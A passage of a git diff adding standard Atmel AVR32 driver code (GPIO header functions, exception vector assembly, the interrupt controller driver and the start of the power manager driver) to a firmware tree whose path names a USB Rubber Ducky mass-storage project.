gpio_configure_pin must be called before. + */ +extern void gpio_set_pin_low(uint32_t pin); + +/*! \brief Drives a GPIO port to 0. + * + * \param port The port number. + * \param mask The mask. + */ +extern void gpio_set_group_low(uint32_t port, uint32_t mask); + +/*! \brief Toggles a GPIO pin. + * + * \param pin The pin number. + */ +extern void gpio_tgl_gpio_pin(uint32_t pin); + +/*! \brief Toggles a GPIO pin. + * + * \param pin The pin number. + * + * \note The function \ref gpio_configure_pin must be called before. + */ +extern void gpio_toggle_pin(uint32_t pin); + +/*! \brief Toggles a GPIO group. + * + * \param port The port number. + * \param mask The mask. + */ +extern void gpio_toggle_group(uint32_t port, uint32_t mask); + +/*! \brief Drives a GPIO pin to 1 using open drain. + * + * \param pin The pin number. + */ +extern void gpio_set_gpio_open_drain_pin(uint32_t pin); + +/*! \brief Drives a GPIO pin to 0 using open drain. + * + * \param pin The pin number. + */ +extern void gpio_clr_gpio_open_drain_pin(uint32_t pin); + +/*! \brief Toggles a GPIO pin using open drain. + * + * \param pin The pin number. + */ +extern void gpio_tgl_gpio_open_drain_pin(uint32_t pin); + +/*! \brief Enables the glitch filter of a pin. + * + * When the glitch filter is enabled, a glitch with duration of less than 1 + * clock cycle is automatically rejected, while a pulse with duration of 2 clock + * cycles or more is accepted. For pulse durations between 1 clock cycle and 2 + * clock cycles, the pulse may or may not be taken into account, depending on + * the precise timing of its occurrence. Thus for a pulse to be guaranteed + * visible it must exceed 2 clock cycles, whereas for a glitch to be reliably + * filtered out, its duration must not exceed 1 clock cycle. The filter + * introduces 2 clock cycles latency. + * + * \param pin The pin number. + */ +extern void gpio_enable_pin_glitch_filter(uint32_t pin); + +/*! \brief Disables the glitch filter of a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_glitch_filter(uint32_t pin); + +/*! \brief Enables the interrupt of a pin with the specified settings. + * + * \param pin The pin number. + * \param mode The trigger mode (\ref GPIO_PIN_CHANGE, \ref GPIO_RISING_EDGE or + * \ref GPIO_FALLING_EDGE). + * + * \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT. + */ +extern int gpio_enable_pin_interrupt(uint32_t pin, uint32_t mode); + +/*! \brief Disables the interrupt of a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_interrupt(uint32_t pin); + +/*! \brief Gets the interrupt flag of a pin. + * + * \param pin The pin number. + * + * \return The pin interrupt flag. + */ +extern int gpio_get_pin_interrupt_flag(uint32_t pin); + +/*! \brief Clears the interrupt flag of a pin. + * + * \param pin The pin number. + */ +extern void gpio_clear_pin_interrupt_flag(uint32_t pin); + +//! @} + + +#if (defined AVR32_GPIO_LOCAL_ADDRESS) +/*! \name Local Bus Interface + * + * High-speed interface with only one clock cycle per access. + * + * This interface operates with high clock frequency (fCPU), and its timing is + * deterministic since it does not need to access a shared bus which may be + * heavily loaded. + * + * \warning To use this interface, the clock frequency of the peripheral bus on + * which the GPIO peripheral is connected must be set to the CPU clock + * frequency (fPB = fCPU). + * + * \note This interface has to be initialized in order to be available. + */ +//! @{ + +/*! \brief Enables the local bus interface for GPIO. + * + * \note This function must have been called at least once before using other + * functions in this interface. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_init(void) +{ + Set_system_register(AVR32_CPUCR, + Get_system_register(AVR32_CPUCR) | AVR32_CPUCR_LOCEN_MASK); +} + +/*! \brief Enables the output driver of a pin. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init must have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin. + * \ref gpio_enable_gpio_pin can be called for this purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_enable_pin_output_driver(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].oders = 1 << (pin & 0x1F); +} + +/*! \brief Disables the output driver of a pin. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init must have been called beforehand. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_disable_pin_output_driver(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].oderc = 1 << (pin & 0x1F); +} + +/*! \brief Returns the value of a pin. + * + * \param pin The pin number. + * + * \return The pin value. + * + * \note \ref gpio_local_init must have been called beforehand. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline int gpio_local_get_pin_value(uint32_t pin) +{ + return (AVR32_GPIO_LOCAL.port[pin >> 5].pvr >> (pin & 0x1F)) & 1; +} + +/*! \brief Drives a GPIO pin to 1. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init must have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin nor its output + * driver. \ref gpio_enable_gpio_pin and + * \ref gpio_local_enable_pin_output_driver can be called for this + * purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_set_gpio_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].ovrs = 1 << (pin & 0x1F); +} + +/*! \brief Drives a GPIO pin to 0. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init must have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin nor its output + * driver. \ref gpio_enable_gpio_pin and + * \ref gpio_local_enable_pin_output_driver can be called for this + * purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_clr_gpio_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].ovrc = 1 << (pin & 0x1F); +} + +/*! \brief Toggles a GPIO pin. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init must have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin nor its output + * driver. \ref gpio_enable_gpio_pin and + * \ref gpio_local_enable_pin_output_driver can be called for this + * purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_tgl_gpio_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].ovrt = 1 << (pin & 0x1F); +} + +/*! \brief Initializes the configuration of a GPIO pin so that it can be used + * with GPIO open-drain functions. + * + * \note This function must have been called at least once before using + * \ref gpio_local_set_gpio_open_drain_pin, + * \ref gpio_local_clr_gpio_open_drain_pin or + * \ref gpio_local_tgl_gpio_open_drain_pin. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_init_gpio_open_drain_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].ovrc = 1 << (pin & 0x1F); +} + +/*! \brief Drives a GPIO pin to 1 using open drain. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init and \ref gpio_local_init_gpio_open_drain_pin must + * have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin. + * \ref gpio_enable_gpio_pin can be called for this purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_set_gpio_open_drain_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].oderc = 1 << (pin & 0x1F); +} + +/*! \brief Drives a GPIO pin to 0 using open drain. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init and \ref gpio_local_init_gpio_open_drain_pin must + * have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin. + * \ref gpio_enable_gpio_pin can be called for this purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_clr_gpio_open_drain_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].oders = 1 << (pin & 0x1F); +} + +/*! \brief Toggles a GPIO pin using open drain. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init and \ref gpio_local_init_gpio_open_drain_pin must + * have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin. + * \ref gpio_enable_gpio_pin can be called for this purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_tgl_gpio_open_drain_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].odert = 1 << (pin & 0x1F); +} + +//! @} +#endif // AVR32_GPIO_LOCAL_ADDRESS + +#if UC3L +//! @{ +/*! \name Peripheral Event System support + * + * The GPIO can be programmed to output peripheral events whenever an interrupt + * condition is detected, such as pin value change, or only when a rising or + * falling edge is detected. + * + */ + +/*! \brief Enables the peripheral event generation of a pin. + * + * \param pin The pin number. + * + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_enable_pin_periph_event(uint32_t pin) +{ + AVR32_GPIO.port[pin >> 5].oderc = 1 << (pin & 0x1F); // The GPIO output driver is disabled for that pin. + AVR32_GPIO.port[pin >> 5].evers = 1 << (pin & 0x1F); +} + +/*! \brief Disables the peripheral event generation of a pin. + * + * \param pin The pin number. + * + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_disable_pin_periph_event(uint32_t pin) +{ + AVR32_GPIO.port[pin >> 5].everc = 1 << (pin & 0x1F); +} + +/*! \brief Configure the peripheral event trigger mode of a pin + * + * \param pin The pin number. + * \param mode The trigger mode (\ref GPIO_PIN_CHANGE, \ref GPIO_RISING_EDGE or + * \ref GPIO_FALLING_EDGE). + * \param use_igf use the Input Glitch Filter (true) or not (false). + * + * \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT. + */ +extern int gpio_configure_pin_periph_event_mode(uint32_t pin, uint32_t mode, uint32_t use_igf); + +//! @} +#endif + +/** + * \} + */ + +#endif // _GPIO_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/intc/exception.S b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/intc/exception.S new file mode 100755 index 0000000..60d48d7 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/intc/exception.S @@ -0,0 +1,241 @@ +/** + * \file + * + * \brief Exception and interrupt vectors mapping for the INTC Software Driver. + * + * Copyright (c) 2009-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +#if !__AVR32_UC__ && !__AVR32_AP__ + #error Implementation for the AVR32 architecture only. +#endif + + +#include + + +//! @{ +//! \verbatim + + +.section .exception, "ax", @progbits + + +// Start of Exception Vector Table. + +/* + * EVBA must be aligned with a power of two strictly greater than the + * EVBA-relative offset of the last vector. + */ +.balign 0x200 + +// Export symbol. +.global _evba +.type _evba, @function +_evba: + + .org 0x000 + // Unrecoverable Exception. +_handle_Unrecoverable_Exception: + rjmp $ + + .org 0x004 + // TLB Multiple Hit. +_handle_TLB_Multiple_Hit: + rjmp $ + + .org 0x008 + // Bus Error Data Fetch. +_handle_Bus_Error_Data_Fetch: + rjmp $ + + .org 0x00C + // Bus Error Instruction Fetch. +_handle_Bus_Error_Instruction_Fetch: + rjmp $ + + .org 0x010 + // NMI. +_handle_NMI: + rjmp $ + + .org 0x014 + // Instruction Address. +_handle_Instruction_Address: + rjmp $ + + .org 0x018 + // ITLB Protection. +_handle_ITLB_Protection: + rjmp $ + + .org 0x01C + // Breakpoint. +_handle_Breakpoint: + rjmp $ + + .org 0x020 + // Illegal Opcode. +_handle_Illegal_Opcode: + rjmp $ + + .org 0x024 + // Unimplemented Instruction. +_handle_Unimplemented_Instruction: + rjmp $ + + .org 0x028 + // Privilege Violation. +_handle_Privilege_Violation: + rjmp $ + + .org 0x02C + // Floating-Point: UNUSED IN AVR32UC and AVR32AP. +_handle_Floating_Point: + rjmp $ + + .org 0x030 + // Coprocessor Absent: UNUSED IN AVR32UC. +_handle_Coprocessor_Absent: + rjmp $ + + .org 0x034 + // Data Address (Read). +_handle_Data_Address_Read: + rjmp $ + + .org 0x038 + // Data Address (Write). +_handle_Data_Address_Write: + rjmp $ + + .org 0x03C + // DTLB Protection (Read). +_handle_DTLB_Protection_Read: + rjmp $ + + .org 0x040 + // DTLB Protection (Write). +_handle_DTLB_Protection_Write: + rjmp $ + + .org 0x044 + // DTLB Modified: UNUSED IN AVR32UC. +_handle_DTLB_Modified: + rjmp $ + + .org 0x050 + // ITLB Miss. +_handle_ITLB_Miss: + rjmp $ + + .org 0x060 + // DTLB Miss (Read). +_handle_DTLB_Miss_Read: + rjmp $ + + .org 0x070 + // DTLB Miss (Write). +_handle_DTLB_Miss_Write: + rjmp $ + + .org 0x100 + // Supervisor Call. +_handle_Supervisor_Call: + rjmp $ + + +/* + * Interrupt support. + * The interrupt controller must provide the offset address relative to EVBA. + * Important note: + * All interrupts call a C function named _get_interrupt_handler. + * This function will read group and interrupt line number to then return in + *R12 a pointer to a user-provided interrupt handler. + */ + +.balign 4 + +.irp priority, 0, 1, 2, 3 +.global _int\priority +.type _int\priority, @function +_int\priority: +#if __AVR32_UC__ + /* + * R8-R12, LR, PC and SR are automatically pushed onto the system stack + * by the CPU upon interrupt entry. No other register is saved by + * hardware. + */ +#elif __AVR32_AP__ + /* + * PC and SR are automatically saved in respectively RAR_INTx and + * RSR_INTx by the CPU upon interrupt entry. No other register is saved + * by hardware. + */ + pushm r8-r12, lr +#endif + // Pass the int_level parameter to the _get_interrupt_handler function. + mov r12, \priority + call _get_interrupt_handler + // Get the pointer to the interrupt handler returned by the function. + cp.w r12, 0 +#if __AVR32_UC__ + /* + * If this was not a spurious interrupt (R12 != NULL), jump to the + * handler. + */ + movne pc, r12 +#elif __AVR32_AP__ + // If this was a spurious interrupt (R12 == NULL), branch. + breq spint\priority + /* + * Push the pointer to the interrupt handler onto the system stack since + * no register may be altered. + */ + st.w --sp, r12 + popm r8-r12, lr, pc // Restore registers and jump to the handler. +spint\priority: + popm r8-r12, lr +#endif + /* + * If this was a spurious interrupt (R12 == NULL), return from event + * handler. + */ + rete +.endr + + +//! \endverbatim +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/intc/intc.c b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/intc/intc.c new file mode 100755 index 0000000..9983aeb --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/intc/intc.c @@ -0,0 +1,281 @@ +/** + * \file + * + * \brief INTC software driver for AVR UC3 devices. + * + * Copyright (c) 2009-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +#include +#include "compiler.h" +#include "preprocessor.h" +#include "intc.h" + +/** + * \internal + * \brief Import the _evba symbol from exception.S + */ +extern void _evba; + +/** + * \internal + * \brief Import the symbols _int0, _int1, _int2, _int3 defined in exception.S + */ +extern void _int0, _int1, _int2, _int3; + +/** + * \internal + * \brief Values to store in the interrupt priority registers for the various + * interrupt priority levels. + */ +#define IPR_INT0 ((AVR32_INTC_INT0 << AVR32_INTC_IPR_INTLEVEL_OFFSET) \ + | ((int)&_int0 - (int)&_evba)) +#define IPR_INT1 ((AVR32_INTC_INT1 << AVR32_INTC_IPR_INTLEVEL_OFFSET) \ + | ((int)&_int1 - (int)&_evba)) +#define IPR_INT2 ((AVR32_INTC_INT2 << AVR32_INTC_IPR_INTLEVEL_OFFSET) \ + | ((int)&_int2 - (int)&_evba)) +#define IPR_INT3 ((AVR32_INTC_INT3 << AVR32_INTC_IPR_INTLEVEL_OFFSET) \ + | ((int)&_int3 - (int)&_evba)) + +/** + * \internal + * \brief Table of interrupt line handlers per interrupt group in order to + * optimize RAM space. Each line handler table contains a set of pointers to + * interrupt handlers. + */ +#if (defined __GNUC__) +# define DECL_INT_LINE_HANDLER_TABLE(GRP, unused) \ +static volatile __int_handler \ + _int_line_handler_table_##GRP[Max(AVR32_INTC_NUM_IRQS_PER_GRP##GRP, 1)]; +#elif (defined __ICCAVR32__) +# define DECL_INT_LINE_HANDLER_TABLE(GRP, unused) \ +static volatile __no_init __int_handler \ + _int_line_handler_table_##GRP[Max(AVR32_INTC_NUM_IRQS_PER_GRP##GRP, 1)]; +#endif +MREPEAT(AVR32_INTC_NUM_INT_GRPS, DECL_INT_LINE_HANDLER_TABLE, ~); +#undef DECL_INT_LINE_HANDLER_TABLE + +/** + * \internal + * \brief Table containing for each interrupt group the number of interrupt + * request lines and a pointer to the table of interrupt line handlers. + */ +static const struct +{ + unsigned int num_irqs; + volatile __int_handler *_int_line_handler_table; +} _int_handler_table[AVR32_INTC_NUM_INT_GRPS] = +{ +#define INSERT_INT_LINE_HANDLER_TABLE(GRP, unused) \ + {AVR32_INTC_NUM_IRQS_PER_GRP##GRP, _int_line_handler_table_##GRP}, + MREPEAT(AVR32_INTC_NUM_INT_GRPS, INSERT_INT_LINE_HANDLER_TABLE, ~) +#undef INSERT_INT_LINE_HANDLER_TABLE +}; + + +/** + * \internal + * \brief Default interrupt handler. + */ +#if (defined __GNUC__) +__attribute__((__interrupt__)) +#elif (defined __ICCAVR32__) +__interrupt +#endif +static void _unhandled_interrupt(void) +{ + // Catch unregistered interrupts. + while (true); +} + + +/** + * \brief Gets the interrupt handler of the current event at the \a int_level + * interrupt priority level (called from exception.S). + * + * \param int_level Interrupt priority level to handle. + * + * \return Interrupt handler to execute. + */ +__int_handler _get_interrupt_handler(uint32_t int_level); +__int_handler _get_interrupt_handler(uint32_t int_level) +{ + /* ICR3 is mapped first, ICR0 last. + Code in exception.S puts int_level in R12 which is used by the compiler + to pass a single argument to a function. */ + uint32_t int_grp = AVR32_INTC.icr[AVR32_INTC_INT3 - int_level]; + uint32_t int_req = AVR32_INTC.irr[int_grp]; + + /* As an interrupt may disappear while it is being fetched by the CPU + (spurious interrupt caused by a delayed response from an MCU peripheral + to an interrupt flag clear or interrupt disable instruction), check if + there are remaining interrupt lines to process. + If a spurious interrupt occurs, the status register (SR) contains an + execution mode and interrupt level masks corresponding to a level 0 + interrupt, whatever the interrupt priority level causing the spurious + event. This behavior has been chosen because a spurious interrupt has + not to be a priority one and because it may not cause any trouble to + other interrupts. + However, these spurious interrupts place the hardware in an unstable + state and could give problems in other/future versions of the CPU, so + the software has to be written so that they never occur. The only safe + way of achieving this is to always clear or disable peripheral + interrupts with the following sequence: + 1: Mask the interrupt in the CPU by setting GM (or IxM) in SR. + 2: Perform the bus access to the peripheral register that clears or + disables the interrupt. + 3: Wait until the interrupt has actually been cleared or disabled by the + peripheral. This is usually performed by reading from a register in the + same peripheral (it DOES NOT have to be the same register that was + accessed in step 2, but it MUST be in the same peripheral), what takes + bus system latencies into account, but peripheral internal latencies + (generally 0 cycle) also have to be considered. + 4: Unmask the interrupt in the CPU by clearing GM (or IxM) in SR. + Note that steps 1 and 4 are useless inside interrupt handlers as the + corresponding interrupt level is automatically masked by IxM (unless IxM + is explicitly cleared by the software).*/ + + /* Get the right IRQ handler. + + If several interrupt lines are active in the group, the interrupt line + with the highest number is selected. This is to be coherent with the + prioritization of interrupt groups performed by the hardware interrupt + controller. + + If no handler has been registered for the pending interrupt, + _unhandled_interrupt will be selected thanks to the initialization of + _int_line_handler_table_x by INTC_init_interrupts. + + exception.S will provide the interrupt handler with a clean interrupt + stack frame, with nothing more pushed onto the stack. The interrupt + handler must manage the `rete' instruction, which can be done using + pure assembly, inline assembly or the `__attribute__((__interrupt__))' + C function attribute.*/ + return (int_req) + ? _int_handler_table[int_grp]._int_line_handler_table[32 + - clz(int_req) - 1] + : NULL; +} + + +/** + * \internal + * \brief Init EVBA address. This operation may or may not have been done by the + * C startup process. + */ +static __inline__ void INTC_init_evba(void) +{ + Set_system_register(AVR32_EVBA, (int32_t)&_evba ); +} + + +/** + * \brief Initializes the hardware interrupt controller driver. + * + */ +void INTC_init_interrupts(void) +{ + uint32_t int_grp, int_req; + + INTC_init_evba(); + + // For all interrupt groups, + for (int_grp = 0; int_grp < AVR32_INTC_NUM_INT_GRPS; int_grp++) + { + // For all interrupt request lines of each group, + for (int_req = 0; + int_req < _int_handler_table[int_grp].num_irqs; + int_req++) + { + /* Assign _unhandled_interrupt as the default interrupt + handler. */ + _int_handler_table[int_grp] + ._int_line_handler_table[int_req] + = &_unhandled_interrupt; + } + + /* Set the interrupt group priority register to its default + value. + By default, all interrupt groups are linked to the interrupt + priority level 0 and to the interrupt vector _int0. */ + AVR32_INTC.ipr[int_grp] = IPR_INT0; + } +} + + +/** + * \brief Registers an interrupt handler. + * + * \param handler Interrupt handler to register. + * \param irq IRQ of the interrupt handler to register. + * \param int_level Interrupt priority level to assign to the group of this IRQ. + * + * \warning The interrupt handler must manage the `rete' instruction, which can + * be done using pure assembly, inline assembly or the + * `__attribute__((__interrupt__))' C function attribute. + * + * \warning If several interrupt handlers of a same group are registered with + * different priority levels, only the latest priority level set will + * be effective. + * + */ +void INTC_register_interrupt(__int_handler handler, uint32_t irq, + uint32_t int_level) +{ + // Determine the group of the IRQ. + uint32_t int_grp = irq / AVR32_INTC_MAX_NUM_IRQS_PER_GRP; + + /* Store in _int_line_handler_table_x the pointer to the interrupt + handler, so that _get_interrupt_handler can retrieve it when the + interrupt is vectored. */ + _int_handler_table[int_grp] + ._int_line_handler_table[irq % AVR32_INTC_MAX_NUM_IRQS_PER_GRP] + = handler; + + /* Program the corresponding IPRX register to set the interrupt priority + level and the interrupt vector offset that will be fetched by the core + interrupt system. + NOTE: The _intx functions are intermediate assembly functions between + the core interrupt system and the user interrupt handler. */ + if (int_level == AVR32_INTC_INT0) { + AVR32_INTC.ipr[int_grp] = IPR_INT0; + } else if (int_level == AVR32_INTC_INT1) { + AVR32_INTC.ipr[int_grp] = IPR_INT1; + } else if (int_level == AVR32_INTC_INT2) { + AVR32_INTC.ipr[int_grp] = IPR_INT2; + } else { + AVR32_INTC.ipr[int_grp] = IPR_INT3; + } +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/intc/intc.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/intc/intc.h new file mode 100755 index 0000000..0a629eb --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/intc/intc.h @@ -0,0 +1,81 @@ +/** + * \file + * + * \brief INTC software driver API for AVR UC3 devices. + * + * Copyright (c) 2009-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +#ifndef _INTC_H_ +#define _INTC_H_ + +#include "compiler.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \defgroup intc_group INTC Software Driver API for AVR UC3 + * + * This is a software module to register interrupt handlers at any specified + * interrupt level to any interrupt line managed by the INTC module in AVR UC3 + * devices. + * @{ + */ + +//! Maximal number of interrupt request lines per group. +#define AVR32_INTC_MAX_NUM_IRQS_PER_GRP 32 + +//! Number of interrupt priority levels. +#define AVR32_INTC_NUM_INT_LEVELS (1 << AVR32_INTC_IPR_INTLEVEL_SIZE) + + +#ifdef __AVR32_ABI_COMPILER__ +// (Automatically defined when compiling for AVR UC3, not when assembling). + +extern void INTC_init_interrupts(void); +extern void INTC_register_interrupt(__int_handler handler, uint32_t irq, + uint32_t int_level); + +#endif // __AVR32_ABI_COMPILER__ + +//! @} + +#ifdef __cplusplus +} +#endif + +#endif // _INTC_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/pm/pm.c b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/pm/pm.c new file mode 100755 index 0000000..71a3ff1 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/pm/pm.c @@ -0,0 +1,562 @@ +/***************************************************************************** + * + * \file + * + * \brief Power Manager driver. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE 